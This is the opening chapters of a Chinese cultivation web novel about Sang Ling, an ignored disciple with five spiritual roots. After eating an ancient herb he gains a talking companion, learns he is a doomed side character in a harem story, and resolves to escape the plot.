《仙门透明人被迫万人迷》 1. 桑灵 初春三月,碧海云天宗门年度测灵大典。 一弟子步履仓促抱着一摞卷宗,不慎撞上角落一道身影:“对不住!我走得急没看路——” 他一面赔罪一面抬头去看,目光蓦地定住。 那少年身形清瘦伶仃,如一株尚未长开的幼苗,被撞得微微退后半步,垂下眼帘轻声道:“无事。” 少年走远,那弟子仍在原地保持抱卷宗的姿势。 几名外门弟子见状连忙围了上来,伸手在他眼前晃了晃:“你方才撞到谁了?” “方才这边空荡荡,我竟没察觉到有人站在此处!” “你们不知道他?那可是桑灵。” 众人满心迷茫:“桑灵是谁?” “年年理论魁首的那个!” “今年出题异常刁钻,他竟还能夺魁?这位兄台想必是灵根卓绝的天骄吧?” 回话的人意味深长嗤笑道:“‘纸上谈兵’第一罢了!年年理论榜首,却偏偏是个五灵根!” “理论再扎实又有何用?修真首重天赋根骨,五灵根可是公认的废灵根!” “难怪他行事孤僻喜爱独行躲在角落,不敢抬头见人,怕是面目丑陋不堪入目,是个见不得人的丑八怪!” 抱着卷宗的弟子急切想要反驳。不是的,不是丑八怪,非但不丑还很漂亮。 明明刚近距离打过照面,那张清丽脱俗的脸却变得模糊。 他怔怔伫立在人群中,最终只是喃喃说:“他身上真的很香……” “你说的什么胡话?还是被什么妖精勾了魂?”众人嬉笑道,“一男子身上哪来什么香气?” “肃静——!” 玉台上方传来浑厚声音,周管事抖开手中玉简名册,“测灵根顺序依理论考学成绩进行,念到名者上台,余者静候,不得喧哗!” “首位——桑灵。” 喧哗声中,一个身影从队伍末尾缓缓踱出。 这便是大名鼎鼎的桑灵了。人群好奇望去,然而只一眼,便不自觉愣住了。 淡金色晨光落在少年周身,像薄雾般静谧轻盈。瞧身形不过十三四岁年纪,墨发被一条白棉发带规矩绑束,浆洗得发白的外门弟子略显宽大,空荡荡罩在身上,更显身形单薄纤细,骨量清瘦荏弱。 浑身皮肉剔透莹白,唯有额心一抹艳红,似落雪藏朱,为这张清丽面容平添几分绮丽之美。 正对他的几个弟子瞳孔放大,当他们想与玉台下方的千百外门弟子一般,试图窥探第二眼时,忽觉大脑混沌。 方才那惊鸿一瞥的记忆竟逐渐模糊、褪色,若隔雾看花,除了额间的一点红,其余的再也看不真切。 负责测灵根的林执事温声说:“放松心神,将手轻轻放在养魂玉台即可。” 桑灵依言照做。 手心抵在玉台中央时,林执事将灵力注入阵法。 十二根玉柱顶端亮起微光,继而黯淡熄灭。 悬在半空的窥灵境水波翻涌,五道亮光接连亮起相互交缠。 林执事宣判结果:“桑灵,五灵根,无修为,未入练气。” 五次测灵,结果一致。 外门五年,仍是凡躯。 桑灵并不意外,平静走下测灵台。 以他凡人之躯,本听不清台下私语,却将一路碎言碎语听得一清二楚。 “果真是废灵根!” “白占魁首名头,把赵师兄都挤到第四去了!” “赵韩师兄可是金木双灵根!” 很快便轮到这位赵韩师兄。赵韩眉眼带着几分骄色,快步登上玉台测灵根,两道灵光在窥灵镜中浮现,十二玉柱光芒亮起。 双灵根,中品资质。练气大圆满! 林执事脸色终于缓和:“不错。”总算来了像样的。 在一众艳羡注视中,赵韩走下台,经过桑灵身边时,脚步刻意放缓了些,轻蔑眼风斜扫。 理论魁首又如何?修真可不是比谁会背书,天赋定生死。 桑灵神色并无变化。 他站在人群边缘,凝神将全部感知投降测灵高台。 “这届外门弟子属实凋敝。”林执事合上玉简,怅然摇头,“双灵根不过五人,且皆止步中品,竟寻不出一个天灵根,或上品资质根骨。” 周管事并不意外:“外门能有什么好苗子?真正的天骄,还得看半年后的‘群英萃’。今岁恰逢碧海云天主持,届时天下英才云集,各宗门使者赴会,丹道、符箓、剑修、阵法……那才是龙争虎斗的盛世。” “宗内今年已得一天灵根,若能在‘群英萃’再网罗一二,我等梦中都要笑醒。” “真有奇才出世,各宗怕是少不了一场明争暗斗……” 桑灵认真偷听,台上几人话音忽止。 他似有所感,抬头望向上空。 一位管事手拿名册不知看到什么,侧身与周管事低语两句。周管事冷道:“读遍万卷不及一丝天资。五灵根驳杂,难以引气入体。” “此子,此生无望筑基。” 测灵大典结束。 桑灵孤零零站在原地,看身边人群散去。 此生无望筑基。 桑灵十岁入门,引领他的管事叹气直言,五灵根是废灵根,终生难踏仙途。 他资质平庸,旁人连记他的名字都嫌费事——直到他开始理论夺魁。 按照碧海云天宗规,外门弟子每年需经理论、天赋、心性等诸多考核,综测前三甲有望进入内门。 许多天赋尚可却苦于经文晦涩的双、三灵根,年年掐算综测排名,最后竟绝望地发现,若没了桑灵这榜首,自己便能稳稳跻身前三,鱼跃龙门。 内门与外门的资源不啻天壤之别,于是错失内门的怨恨,被尽数转移到这位榜首身上。 即便如此,桑灵仍是宗门内最无存在感的透明人。 “愣着作甚?测灵结束速速去当差!” 耳畔炸开粗哑的吆喝。满脸横肉的外门管事叉腰而立,一条眼缝儿瞪着桑灵,“西区那片凝阴草眼瞧着要枯死了,那可是掌门首席弟子雪碧尘的灵田,若有半点闪失,你担待得起吗?” “可西区灵田为内门区域,我今日负责外门……” “老子让你去就得去!哪来那么多废话?” 王管事腮边横肉抖动,强行将通行玉佩往桑灵怀里塞,抬脚踢向水瓢木桶,家伙什翻倒哐啷作响,“内门灵脉充裕,让你去蹭灵气已是便宜你了!” 凝阴草是极其娇贵的药材,需严格控制水温、水量。 更棘手的是,此草极易招惹在白日出没的低阶蚀叶兽,虫体如尘埃细小,在叶片上叮咬一口,整株灵草会迅速凋败,枯萎之势如疫病般蔓延周边,所以需要人时时刻刻盯着。 这是宗门内公认的苦差累活,更别提西区这片灵田是首席弟子雪碧尘的私产。 若灵植有半点损失,岂不是开罪了那位高高在上的天之骄子? 桑灵目光微移动,看到立在不远处抱臂冷观的赵韩,心下顿时明了,这原是赵韩的差事。 外门弟子皆需承担杂务,这个差事名义上合情合理,但西区灵田偶有低阶兽虫出没,宗门通常不会此活给像桑灵这样毫无修为的凡人。 但赵韩不愿受这个累,他家境富裕,近日新巴上某位内门师兄,又自恃测灵表现尚可,有望进入内门。 王管事乐得卖顺水人情,至于桑灵—— 一个废灵根而已,在意他做什么? 桑灵一言不发弯腰,提起横倒在地的水桶。 手中玉牌蹭了些灰,指尖拂去尘土,把歪倒的流苏穗子摆正,方才纳入袖中。 身后传来轻视不屑言语:“一废灵根还敢摆谱!” 握着桶的手指缓缓收紧,桑灵抿紧唇,垂下稚嫩清隽的面庞,当作没有听见他们的奚落嘲讽。 沿着青石小径,顺着边缘石阶一步步往上走。 穿过一道月洞门,眼前景致骤然明朗。灵气氤氲,扑面而来。 悬在半空的古文牌匾,写着“内门西苑”。 前方明明空无一物,却如触到一层无形障壁,将桑灵隔绝在外。 直到他拿出袖中玉牌,无形结界才如涟漪般漾开,允他通行。 大片梯田层层叠叠,灵田栽种各种灵植。 即便是碧海云天宗内门最偏僻的西苑角落,空气中仍弥漫浓郁灵气,也远非外门可比。 桑灵忍不住深深吸了一口气,清凉纯净的灵气拥入肺腑,瞬间涤去一路的疲惫。 他黑睫扑扇抖动,莹白面庞晕开淡淡薄红。 好舒服。 “怎的这般迟才来?” “你负责浇灵田存活率最好能控制在五成。”一身穿内门弟子服的少年行色匆匆,神识在桑灵身上一扫,察觉到他并无修为,“罢了,三成即可。” “你可听仔细了,凝阴草怕晒惧涝,根部积水超过一炷香便会烂根,浇水时需以‘化雨符’将灵泉化开成雾,万不可溅到花蕊……”他千叮咛万嘱咐,塞过来一枚册子,“这是《凝阴草养护手册》,务必记牢,千万小心!这可是首席师兄雪碧尘的灵田!” 《凝阴草养护手册》密密麻麻记录禁忌与手法,繁琐苛刻至极。 正因如此,灵田的活是所有弟子避之不及的苦差。累与麻烦倒尚在其次,每种灵草性情迥异,有的格外娇气难哄,动不动生闷气把自己气死,扣的灵石抵得上半月月例。 桑灵却从不嫌麻烦,甚至十分喜欢。 外门弟子能接触到的典籍有限,五年下来,他将各种灵草的养护手册翻得烂熟于心。只一眼,他便能判断出哪株灵植倦了、渴了,有时还能模糊感应到灵植的情绪。 宗门里无人知晓此事。 就像无人察觉,他经手照料的灵植,存活率高近十成。烈日高悬。 桑灵挑着水桶来到指定田垄。 按照养护手册上所述,他舀起一瓢灵泉,用符咒化雾小心沿叶片脉络仔细浸润。 这时,桑灵目光一顿。 田垄边缘,一株凝阴草叶片焦黄卷曲,蔫巴巴垂落枯萎。 鬼使神差地,桑灵轻点焦黄叶片,体内微薄到几乎不存在的灵力,随着他集中注意力,丝丝缕缕溢出指尖,渗入枯叶之中。 焦枯叶片以肉眼可见的速度重焕新生,绿叶复苏,舒展开鲜嫩翠色。 听见一旁脚步声,桑灵立刻收回手背过身。 “咦?这株凝阴草方才不是枯透了?怎突然活了?”路过的弟子困惑嘀咕,有人不以为意,“许是你眼花了。它长势这么好,怎么会枯透呢?” 桑灵听着身后人言语,蹲在地上抱住膝盖,鼻尖洇出细密汗珠,热得通红的稚嫩面庞浮现淡淡笑意。 日头愈发毒辣,有修为的弟子尚且难以忍受,何况毫无修为的桑灵? 汗水浸透雪色外门弟子服,紧贴在瘦削的身躯上。长时间劳作,水米未进,桑灵眼前发黑,耳畔嗡鸣声渐起。 只有灵植有资格饮灵泉,外门弟子不得偷饮。 桑灵拎着水瓢起身,想去外头喝水解渴,却因其身太急,身形禁不住摇摆两下。 来不及站稳,脚下被田埂一绊,桑灵踉跄后退两步,身形骤然失衡,连人带桶顺着杂草丛生的陡坡往下滚! 土石划破手臂,天旋地转,四肢传来火辣辣的剧痛。 桑灵试图抓住点什么,却只攥到一把枯草,后背重重摔砸在坡底一颗老树上,扬起灰蒙蒙尘土。 坡顶传来肆无忌惮的哄笑:“瞧他那个蠢样!” 脚步声与笑声渐渐远去,无人想着搭手帮一把。 耳畔重归安静,唯有风过草地的微声,与在烈日炙烤下,桑灵愈发急促的呼吸。 不知过去多久,恍惚间,桑灵听见上方灵田撞开一道沉闷钟声。 这是清点人数的归位钟声。 一执事手握名册,漫不经心点名画钩:“都回来了吧?天色已晚,山野多灵兽,入夜凶险,点完名都早些回去,以免有性命之忧。” “刘大壮、孟奇……” 名字一个接一个念着,他挨个画钩,翻到末尾,他茫然道,“桑灵?桑灵可归队?” 无人回答。执事困惑:“桑灵是谁?” “是替赵韩师兄的废灵根。” “哦,他啊。”提到废灵根,执事大概有了印象,思忖片刻,心中有了大概考量,笔尖随意一划,“人已到齐,夜晚危险,大家都赶紧回去吧。” “结界即将开启,之后不得进出!” 有人低声道:“那就不管桑灵啦?他人还未归来。” “废灵根而已,死便死了。” 暮色沉沉笼罩。 桑灵认清自己被抛下的现实,后背伤口不断淌血,体力已透支殆尽,若无法得到及时救治,他必死无疑。 他忍着浑身剧痛,目光艰难聚焦一点。 前方草丛深处,一株灵草静静生长其间,叶片呈暗紫,边缘流淌一圈诡异的金色纹路。 好眼熟。 桑灵似乎在《万草谱》中见过这株草药。 此草为上古仙草灵犀草,有起死回生之效,是疗伤圣药。但蕴藏灵力极其暴烈,只有大能才能尝试炼化。 凡人食用极有可能因承受不了过于猛烈的灵力,反噬爆体而亡。 耳畔不断回荡那句满不在乎的言语。 ——废灵根而已,死便死了。 因为是五灵根,所以没有存在的意义。 所以他活该命如草芥,活该受尽欺凌,被奚落嘲讽,受尽无尽白眼…… 难道他的命天生比旁人低贱? 难道他天生低人一等? 凭什么?! 今日不死,也不知明日会不会死。明日不死,更不知后日会不会死。他偏要活! 桑灵咬牙撑起脱力的手臂,手指抓在泥土间,荏弱单薄身躯如藏火种,奋力一点点往前爬,用力抓住那株灵草。 他看也没看,将灵草胡乱塞进嘴里,嚼烂了咽下! 叶片入口,清甜药香瞬息涌入丹田。 一股暖融融的热流顺着全身流转,五色灵力在体内横冲直撞,化作滚烫的剧痛炸开! 桑灵蜷缩在地冷汗直流,却痛到连惨叫都发不出。 就在他以为他要因承受不住过强灵力爆体而亡时,脑海炸开一道惊雷般的冷哼。 【愚蠢!愚不可及!】 【世人颠倒黑白,错把鱼目当珍珠,殊不知你们所谓的废灵根才是真正的天骄!】 【天地五行运转,五灵根方为正统,万中无一的绝世资质!】 【三十年河东三十年河西……】 【莫欺少年穷!】 2. 觉醒 桑灵觉醒了。 在碧海云天宗外门勤恳五年,直至食用这株灵草,桑灵才明白,他不过是某万人迷话本里的炮灰。 话本世界以一人为中心运转,主角是世间少有的天才,入门不到一年便成功结丹,成为碧海云天宗、乃至整个修真界有史以来最年轻的金丹修士。 围绕在主角身边的追求者,同样是一群惊才绝艳的天之骄子。 无数天骄为主角疯魔,全文既1vsN,又有死遁、追妻火葬场、雄竞修罗场等爱恨纠缠。 其中最经典的剧情是某反派因爱痴狂,把主角的后宫团逐一钉在悬崖锁链之上,以他们性命要挟,逼主角做出选择:“他们和我只能活一个,你选谁?” 主角傲然立于崖顶,谁都没选,自爆丹田。 天地变色,山河震荡。后宫团彻底疯魔,修真界炸了,读者爽了。 而桑灵这样的小炮灰,也因反派发狂误杀,倒霉死了。 死得轻描淡写,当场尸骨无存。有读者心疼死去的炮灰,立刻有人不屑道:“死就死了,能为主角的爱情添砖加瓦,是他的荣幸。” 身为炮灰,这就是桑灵存在的全部意义。 可是凭什么? 凭什么那些人生来便是天之骄子,能高高在上执掌他人命运?凭什么他的命就命如草芥,活该被一文不值地践踏?! 愤懑填满胸腔时,耳畔接连响起激昂咆哮。 【三十年河东三十年河西,莫欺少年穷!】 【天要灭我我必亡天,我命由我不由天!】 【杀!杀杀杀杀杀杀!!!】 桑灵一脸迷茫,这怪声究竟从何而来? 来不及细想,仙草残余的药力彻底化开。 丹田灼烧感慢慢淡去,灵力温养骨骼与五脏六腑。 桑灵费劲抬起眼皮,他看见剑光如流星闪过天幕,修士御剑乘风来去,衣袂翩跹,化作模糊而遥远的画面。 ……御剑飞行,究竟是何感受? 困意将意识一点点淹没,桑灵彻底失去意识,沉入黑暗。 坡底这块荒地位于内门边缘,因灵气稀薄土质恶劣,宗门任其荒废数年。 然而此刻,这片荒地骤然被灌入生机。 干裂泥土如久旱逢甘霖,以桑灵躺着的土地为圆心,浮现淡色灵力,枯败荒草舒展开绿叶,草木遍野轻轻摇曳,透着蓬勃生机。 不知名野花从草根旁钻出,一朵、两朵……争奇斗艳,竞相绽放。 星点宛若流萤从地面升起,奔向天穹。骨骼修长的掌心朝前伸出,光斑从指缝间逃窜,被夜风吹得微微浮动。 身着内门弟子锦袍的少年紧随前方青年,他无心像表兄一样把玩那些从身侧掠过的流萤,居高临下俯瞰下方灵田:“表兄,天生异象,若非凶兽,便是天材地宝出世。” 雪碧尘放出神识感知片刻,才道:“灵田灵植确有异动,但无凶煞之气,亦无妖兽威压。下去看看。” 两道剑光一前一后落下。 今夜守灵田的几位弟子远远瞧见两道身影,大惊失色,慌张迎上前来行礼。 两个男子迎面走来,长相有六七分相似。其中一人身量颀长,面容俊雅眉目温润,如清风明月般出尘。正是碧海云天宗首席大师兄,雪碧尘。 身侧紧随的少年年岁较浅,眉眼锐利傲然,墨发以红色发带高高束起,冷淡的丹凤眼扫来。是今年新入宗门的变异风灵根天骄,也是雪碧尘那年少成名的天才表弟,风清云。 雪碧尘温声问道:“今夜灵田可有异样?” 弟子忙道:“结界并无异常,我们巡逻数遍也没寻到怪处。” 雪碧尘与风清云一同踏入灵田,左右探查后确无异样。 最终,将目光落在坡底方向。 风清云抱剑而立,目光冷淡扫向漆黑荒坡:“这便是灵力波动的来源了。也许天材地宝没有,而是哪个杂役贪利,知晓表兄你脾气好,私盗灵草倒卖,却惹得灵植变异,扰乱周遭灵脉。” “往年这类投机取巧之辈,不在少数。” 雪碧尘已沿着坡道往下走:“别将人想得太坏。外门弟子修行不易,未必人人皆贪利妄为。” 枯草烂叶挡道,风清云面露嫌弃,提剑砍去足边荒草,露出干裂灰败的土地:“是表兄总是把人想得太过良善。” 越往下走,周身灵气愈发清透雄厚。 绕过一颗虬结老树,二人脚步同时驻足。 眼前是一片遍野盛开的花海,花海中央躺卧一个少年。 墨发大半散落铺散在缤纷花瓣间,他身上的外门弟子服已被碎石割破,双腿蜷缩成虾米,赤足踩在芳草之间,沾着温润夜露,无数流萤受其吸引,与月光交融盈盈漂浮。微光映着他莹白面庞,隐约照出额心一抹鲜红。 雪碧尘与风清云看得微怔。 直到少年微微动弹,风清云才蓦地回神。手腕翻转长剑出鞘,剑锋挑起少年的下巴,居高临下俯视过来:“夜晚结界封山,你一外门弟子,为何滞留在此?” 桑灵被迫抬起下巴仰起面庞,淡色唇瓣微分,神色懵懵然。 他尚未从纷乱的画面中脱身,更来不及弄清当下处境,那道怪异声音再次暴怒咆哮:【为什么要欺负我的灵傲天?你到底知不知道他只是一个脆弱的小宝宝?】 下巴触感冰冷坚硬,虽是未开刃的一面,但毕竟是上品宝剑,剑光凛冽,威压不容小觑。 桑灵观察二人服饰,大脑猛地清醒。 雪碧尘!风清云! 二人都是话本中的天骄,主角的狂热追求者,未来经过不断兄弟修罗场,最终表兄弟共侍一妻,成就一段佳话。 想到自己惨死的炮灰命运,桑灵脸色又白了几分,下意识垂下眼帘。他仍谨记规矩,不可直视高阶修士。 “清云,不可无礼。” 温润平和的嗓音冲淡迫人剑气。骨骼分明的大掌伸来,格开锐利剑锋。 雪碧尘查看少年的伤口,这伤分明是滚落陡坡造成的擦伤,雪白小脸蹭得灰蒙蒙,唯有额心一点红鲜亮。 手掌虚虚拂过少年手臂上较深的一道伤口,伤势即刻好转,声音放轻,“你是不慎失足跌落在此的,对吗?” 少年身上的外门弟子服短了些许,露出一截脚踝与手臂,如夏日荷塘刚挖出来的嫩藕,白生生的。鞋子不知所踪,一双赤足就这么无措踩在湿润的青草花海中,沾染晨露水汽,说不出的狼狈。 目光在短暂停顿,雪碧尘瞧着少年蜷缩脚趾、局促将白足藏进花海,才移开视线:“虽不知你为何会引动这般异象,但恭喜你。” “你昏迷时周身灵力汇聚,观你气机自成循环,已踏入练气一层。” 桑灵猛地抬眸:“什么?!” 桑灵这才察觉身体变化,丹田有一股温热暖流运转,五感比从前敏锐,能清晰感知四周灵力的缓缓流动。 五灵根等于废灵根,引气入体难如登天,可他却顺利迈入练气之境! 是因为那株仙草吗? 仙草:【是我是我。=v=】 雪碧尘见对方懵懂无措,手指微动,碧玉罐子出现在掌心,他用灵力取出淡黄药膏涂抹在擦伤处,又取出一个瓷瓶:“你初入练气,根基不稳,身上伤势未愈。这瓶丹药可以助你愈合,亦可凝神静气,助你稳固道基,避免灵力虚浮留下隐患。” 瓷瓶温润生亮,散发浓郁灵气,一看便知绝非凡品。 桑灵下意识推辞,丹药珍贵无比,寻常外门弟子数年未必能得一枚。无功不受禄,他受之有愧。 雪碧尘温声道:“丹药再贵,亦是死物。收下吧。” 桑灵根基不稳,迟疑片刻,双手接过瓷瓶攥在掌心,垂下脑袋行礼:“多谢仙长。” “夜深露重,通行玉牌时效将过,我先回去了。” 通行玉牌时效有限,他必须在失效前回到外门,否则会被宗规重罚。 灵田步行到结界边缘少说一炷香,于修士不过弹指间。雪碧尘本想送他一程,却见少年手忙脚乱爬起,不顾伤势与满地花海,提起裙摆朝坡上跌跌撞撞跑去。 灰扑扑的衣袂拂过花海,惊得流萤乱舞。 与雪碧尘擦身而过,扑面而来的一缕淡香熏得他微愣,待反应过来,对方已消失得无影无踪。 风清云坐在一颗树杈上,慢条斯理擦拭手中灵剑。 他可不像雪碧尘那般同情心泛滥,见谁都要出手相助,等人走了才剑身归鞘,轻盈落地:“这枚凝神固元丹可是上品,表兄你就这么给出去了?” “不过身外之物。”雪碧尘收回视线,“他是五灵根,修行之路本就艰难。小小年纪能在无人指点、无资源加持下引气入体,必然付出常人难以想象的艰辛。丹药于我而言寻常,于他却助益良多。” “既我遇见了,能帮则帮,何必计较。” 只是,少年仓皇抬眼时,雪白稚嫩面庞给他极强的熟悉感。他似乎在哪见过对方,却怎么都想不起来。 还有那道玉兰浸雪般的淡淡冷香。 “五灵根引气入体?他看起来才十三四岁。” 即便风清云性子傲慢,也不得不承认,这个年纪引气入体,哪怕在天灵根中也不算差了。但想到对方是五灵根,道,“也许这便是他的极限。” 五灵根修行如负山而行,步步天堑。 当值弟子见两位内门师兄对那外门少年兴趣,道:“二位师兄,我知道他。他确实刻苦,是外门唯一一个五灵根,平日做完活便回房念书,听说是个孤儿,自小吃百家饭长大,十岁那年来到碧海云天……身世很可怜。” 经他这么一说,其他弟子逐渐有了印象:“他性子沉静,做事细致稳重,尤其擅长照料灵植,他经手的灵植成活率出奇得高。” 风清云难得有了点兴趣:“他还有这本事?” “可不是嘛。他理论考核也厉害,三年都是理论榜首,若非根骨太差……先前执事本想将他调去侍养灵田,一忙就忘了。” 雪碧尘静静听着,望向那片绮丽花海,忽然开口:“碧海云天宗上下共有多少人?” 不等身侧弟子回答,他淡淡自答,“碧海云天开山立派一千九百四十三年,内门真传、记名弟子合计三百二十四人,外门弟子三千两百余人,各峰长老一十八位,内门执事十六人,外门执事五十三……” 弟子下意识翻看玉简核对,雪碧尘说得竟无一错漏! 雪碧尘有着过目不忘的能力,宗门上下竟在他的掌握之中。 既然对方多年出入灵田区域,又是孤儿,拥有悲惨身世,他理应记忆深刻并多加关照。 可再回忆,雪碧尘竟记不起对方的眉目轮廓,似午后小睡惊醒过后淡去的梦,独留淡淡玉兰花香。 他侧身看向值日弟子,生平首次问出这样的问题:“他叫什么名字?” 【桑灵!】 【桑灵,你理理我!】 通行玉牌在手心微微发烫,代表玉牌即将失效化作尘土。 树枝绿叶在身上刮过,桑灵不敢停歇,在山间小道间提起裙摆,一路连奔带跑赤足踩过玉砖小路,急匆匆奔往结界出口,卡着最后的时间点使用玉牌。 踏出无形结界,周遭灵气骤然变得稀薄,手中玉牌无声化尘从指缝间流失。 赶上了。 桑灵浑身脱力滑坐在地,抱住小腿休息片刻,才起身朝外门弟子居住的低矮屋舍走去。 回到那间狭小简陋的屋子,桑灵反手紧紧掩上门扉。 夜风从门窗缝隙中渗入,激得他猛地哆嗦,恐惧后知后觉涌现上来,心脏狂跳发热的同时手脚冰凉。 他居然见到了雪碧尘与风清云,主角的后宫团之二! 也是未来话本中搅动风云、决定他生死的关键人物。 【小灵宝宝 。】 【我的宝儿,心肝,乖乖……】 【你怎么不理我哇TAT】 这称呼愈发胡闹了。 桑灵绷着小脸故作未闻,雪白耳尖却悄然泛红。 他低头看了眼脏兮兮的自己,艰难撑着门板起身,从井中打了一桶水,水瓢舀起清水,用布巾粘湿了,仔细打理灰扑扑的小脸。 【理理我,求求你了。你都不好奇我是谁吗?】 “你是那株仙草,灵犀草。” 水面中逐渐映出一张苍白清丽、额间一抹红的少年面庞。桑灵将自己收拾干净,总算开口,“我只是小炮灰,是主角爱情的垫脚石,最终也会因他们惨死。” “我看到的话本故事,都是未来即将发生的事,对吗?” 【那是原本的轨迹!】仙草急道,【现在不一样了,你有我。我可是上古仙草!你看,你服用你服用灵犀草后,修为已高达炼气期初期!】 【届时你抢先一步夺他们的机缘,取代龙傲天指日可待,届时什么天灵根变异根,都得给你灵傲天跪下来舔-脚!】 【莫欺少年穷!】 【咱们的好日子还在后头呢!】 “……” 幻想很美好。 桑灵擦干面颊,齿间咬着棉白发带,手指将乌发拢向前方,慢吞吞束在身前。 他尝试静心凝神,引导体内的灵力。 微弱光芒在指尖亮起,如微风下的烛火闪烁数下,随后迅速熄灭。 理论知识,桑灵熟记于心,实际运用却是截然不同的感受。 五行灵力相互冲撞,灵力运转本就滞涩艰难。 外门授课粗浅敷衍,全是皮毛之论,若无经验丰富的师长帮忙指点打好根基,他很容易走上弯路,走火入魔。 此番突破全靠灵犀草冲刷经脉。 他修为虚浮,根基浅薄,雪碧尘给出的这枚丹药,正好能助他凝心静神,解决当下燃眉之急。 桑灵攥紧手中瓷瓶,黑睫缓缓垂落,瓶身倾斜,两颗饱满莹润的丹药顺瓶口滑落躺在手心。 【那啥碧给的丹药还是上品!】灵犀草啧啧道,【本草认为,他就是典型的白骑士病,这种人看着温柔无害,但最容易黑化成阴湿病娇,等他动心病娇属性大爆发,绝对是强制爱疯批!】 桑灵沉默片刻,歪过脑袋,眼底满是困惑:“何为病娇?” 【一种比较极端的性格,喜欢一个人喜欢到要把对方囚禁起来。】 桑灵似懂非懂:“是关起来的意思吗?” 【我用最直接、最了当、最不绕弯子的语气告诉你,就是关起来。】 “那并非稀奇。”桑灵认真说,“我幼时所居村落,人人皆是如此。村民圈养畜禽,偶尔才会放养。” “我小时候养过白兔,怕它在村子里走失,也曾关在笼中。我也是病娇吗?” 【……咱们跳过这个无聊的话题,不说这个了!】 桑灵却不想跳过,他懵懵懂懂继续追问:“白骑士病又是什么?” 【喜欢通过帮助别人满足自己,别人越可怜越弱小,越能勾起他的保护欲。但是这种人大概率开出变态,他一看就不是个好东西,他那表弟也是装货一个。】 【这对表兄弟全是未来围着主角转的修罗场制造者,你一定要远远躲开!】 桑灵点头:“我会离他们远远的。” 不仅雪碧尘和风清云,任何与话本主角有关的,他都要远离。 天之骄子的爱恨纠葛,于他这样的普通人却是灾难。 桑灵取出一本泛黄卷轴,执笔蘸墨,认真写下三字——群英萃。 半年后,修真界将举办一场旷世盛会,即群英萃。 盛会广邀天下人杰各展所长,开设炼丹、画符、斗剑、练器、布阵等诸多赛事,分别对应丹道、符修、剑修、器修、阵修等不同方向。不拘一格,唯才是举。 各宗顶尖长老坐镇裁评甄选奇才,向心仪选手递红贴。 这是没有世家背景仪仗的低阶修士、散修拜入名门的最佳途径。 无数草根在此一飞冲天。 上上届群英萃出了个符箓天骄,引得各宗长老疯抢不止,不惜当众大打出手,许诺丰厚资源只为招揽一人,轰动整个修真界。 但这种情况只针对世间少有的天骄,与桑灵这样平平无奇的无名之辈没有干系。 若他能被某个小宗门看中,已是天大机缘。 【你准备离开碧海云天宗?】 “嗯。” 桑灵自知五灵根苦修一生未必有所成就。 反观符修、丹修,对修为、灵根资质要求不高,更讲究心性悟性、感知、精准操控。 【你擅长养护灵植,对草木感知天赋远超常人,为何不潜心钻研丹道?炼丹师稀缺金贵,地位远在符修之上,到哪儿都受人礼遇。】 “炼丹耗材很贵,灵草、丹炉、火种……样样价值不菲。”桑灵捏了捏干瘪瘪的小荷包,面无表情道,“我很穷。” 炼丹师的确尊贵稀少,可培养一名炼丹师需无数灵石堆砌。 但凡在册炼丹师,无一不是各大宗门倾尽全力供养。越高阶的丹药、炼丹师,需要的灵草药材、丹炉、火种更加昂贵,寻常修士根本耗不起这份开销。 而符箓入门门槛较低。 这些年桑灵省吃俭用购入画符工具,夜深人静下点着豆大烛火,伏案临摹基础符文,勤修不缀。如今已大致掌握符道的基本要点,虽算不上精通,但至少有一条能走的路。 又因时常照顾灵田,常见的灵植粗浅知识他也熟记于心。 既然话本发生在碧海云天,那他便提早离开这个是非之地。 群英萃是他唯一留在修真界的渠道。 即便不能跻身顶级宗门,只要能离开碧海云天,进入寻常小宗门安稳修行、远离剧情,桑灵便心满意足。 3. 躲避 天色微明。 桑灵起身坐在石桌前,伏案临摹清洁符已有大半个时辰。 落笔前,桑灵闭眼将清洗符的符文在脑海中过了一遍,才凝神落笔。 墨迹顺着符纸纹路缓缓铺展开,最后一笔落下,他屏息凝神将灵力注入符纸。 灵光微淡,符箓成型。 成功了! 桑灵将符箓抛向院中的一片狼藉中。 柔和白光自符纸中散开,杂物归位,灰尘被涤荡一空。 小院变得纤尘不染,空气中弥漫着清新宜人的香气。 面庞是压不住的喜悦,桑灵像刚学会扑腾翅膀的雏鸟,在小院中欢腾转着小跑检查一圈。 符箓品级越高,效果越好。 眼前焕然一新的小院,说明他绘制出来的符箓至少是中品! 【寻常符修没浪费个几十百来张都没办法成功!】灵犀草难以置信,【这是你第一次正式画清洗符吧?居然一次就成了!品级还不低呢!】 【太厉害了我的宝!】 桑灵唇角微微翘起,重新铺了一张符纸。 又是一次成功。 这是不是说明他在符箓方面还算有天赋? 练习结束,桑灵将散落的书册整整齐齐叠在桌角,起身站在窗外透进的晨光间伸懒腰,慢吞吞打了个呵欠。 屋檐琉璃灯杯风吹得清脆晃动,斑斓光影在他身上交错。 十五岁的少年,身骨伶仃一点儿。 雪白里衣已洗得发白,布料薄透到能看清细窄的腰身与瘦削的肩胛骨,衣襟微微敞开,秀气锁骨如覆雪细枝般若隐若现。 桑灵盯着窗外发呆,肚子咕噜一声,才摸出辟谷丹。 只剩最后一颗,还是先不吃了。 外门弟子每月只发放三颗辟谷丹,一颗大约能顶一周,剩下的日子吃食需自己解决。 桑灵在院角种了片小菜地,他平日通常青菜就着清粥简单对付一顿。 正是生长发育的年纪,桑灵每顿饭菜竟如此潦草。 灵犀草忍不住道:【难怪你十五岁,看起来和十三四岁的少年一般。】 这时,院外传来清朗唤声:“桑灵可在?” 两位穿着内门雪色弟子锦袍,腰间悬着碧玉令牌,说话很是客气,“我奉大师兄之命前来传话,你照料灵植颇为用心,西苑那片凝阴草近日长势极佳,往后大师兄的灵田由你专职照料。” 弟子从袖中取出一枚玉牌,“这是师兄给你的通行玉牌,记挂在师兄洞府梨院名下。待需用时,自会有人前来知会,你可听明白了?” 玉牌牌面篆刻着“梨院”二字,是雪碧尘的修行洞府。 记挂梨院的通行玉牌,可以自由出入内门,是无数外门弟子求之不得的殊荣。 “弟子领命。” 桑灵接过玉牌,指尖微微发冷。 他昨日才得知命运,决定远离这些天骄,怎么偏偏这个时候…… 那内门弟子点点头,转身离开。 他一走,院落周围看似忙碌、实则竖耳偷听的外门弟子们的私语声瞬间大了起来。 “桑灵?不是摔下黄坡了吗?居然没死?” “不但没事,还得了首席弟子的青睐……” “一废灵根也不知走了什么狗屎运!” “今年转内门的名额又少了,竞争愈发激烈,桑灵还活着,之后名额真不好说……” 原来如此。 今年外门弟子资质普通,考核变得极其严格、名额缩减,而桑灵占据理论榜首。他消失了,其他人便能离内门更近一步。 